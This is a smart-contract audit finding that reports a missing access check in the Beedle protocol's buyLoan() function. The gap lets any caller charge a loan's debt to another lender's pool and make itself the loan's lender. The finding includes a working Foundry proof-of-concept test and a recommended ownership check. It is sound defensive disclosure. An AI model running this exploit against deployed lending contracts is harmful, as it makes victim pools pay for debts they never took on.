20,000 USDC
View results
Submission Details
Severity: high
Valid

Any one can grief existing lender via buyLoan()

Summary

Attacker can grief any lender they wish by calling buyLoan() functionality for the loan which is under auction.
Protocol charges the existing debt to new pool and grants msg.sender's pool, a right to interest and claim to collateral instead of granting it to the pool from which the debt was taken.

As result some arbitrary pool ends up paying for someones debt for nothing.

Vulnerability Details

There is auction functionality in the beedle protocol using that lender can initiate dutch auction to sell the loan to another lender.

Ideally interested lender are supposed to call the buyLoan() function with the loanId of loan under auction and their own pool ID, Inorder to buy the loan by paying the debt and interest accrued so far, to the previous lender (Auction Initiator).
This will make them the new loan lender and thus giving them right to future interest and claim to collateral in case of liquidation.

However problem here is that anyone can call buyLoan() with loanId and poolId of any pool they wish once the auction has started, since there isn't any check to validate that, the msg.sender is indeed an owner of the given poolId.

As a result following changes happen :

  • Previous loan lenders (Auction initiator) pool balance is increased and outstanding reduced (Essentially debt is paid).

bytes32 oldPoolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);
_updatePoolBalance(
oldPoolId,
pools[oldPoolId].poolBalance + loan.debt + lenderInterest
);
pools[oldPoolId].outstandingLoans -= loan.debt;
  • Outstanding debt is increased ( and pool.balance is decreased) of the pool with PoolID (victim) provided by attacker (msg.sender).

// if they do have a big enough pool then transfer from their pool
_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;
  • Now instead of making the pool.lender(victim) the new loan.lender, msg.sender (attacker) is set as new loan.lender.

// update the loan with the new info
loans[loanId].lender = msg.sender;

Now the msg.sender (Attacker) has the right to interest of the said loan as well as claim to the collateral in case of liquidation, as his/her address is set as loan.lender.

Since Attacker does not have the outstanding of the loan.debt on their pool, they wont be able to claim the loan via SiezeLoan(), as it will write off their Outstanding which is not there.

pools[poolId].outstandingLoans -= loan.debt;

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L575

Attacker also wont be able to withdraw these funds via removeFromPool() as these are not update into their poolBalance.

Anyway , Attacker does have power to grief any lender they want with this exploit.

POC

  • Here i have showcase how Attacker address calling the buyLoan() function with someone else pool ID becomes the loan.lender.

  • To produce this add the final in the current repo and run "forge test"

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
address public attacker =address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(,,,,uint256 poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 1000*10**18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(borrower)), 995*10**17);
assertEq(collateralToken.balanceOf(address(lender)), 100*10**18);
(,,,,poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 900*10**18);
}
function test_buyLoan() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
//Instead of lender2 (Owner of the pool we call the buyLoan via attackers address)
vm.startPrank(attacker);
lender.buyLoan(0, poolId);
// assert that we paid the interest and new loan is in our name
assertEq(lender.getLoanDebt(0), 110*10**18);
//Lets check loan.lender (should be lender2 (owner of the pool))
(address loanLender,,,,,,,,,) = lender.loans(0);
//this should have failed
assertEq(loanLender, attacker);
//logging the actual loan lender
console.log(loanLender);
}
}

Impact

Anyone can grief any lender they wish for the loan under auction.

Tools Used

Manual review and Foundry

Recommendations

Implement access control validate that, the msg.sender is indeed an owner of the given poolId when calling buyLoan().

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.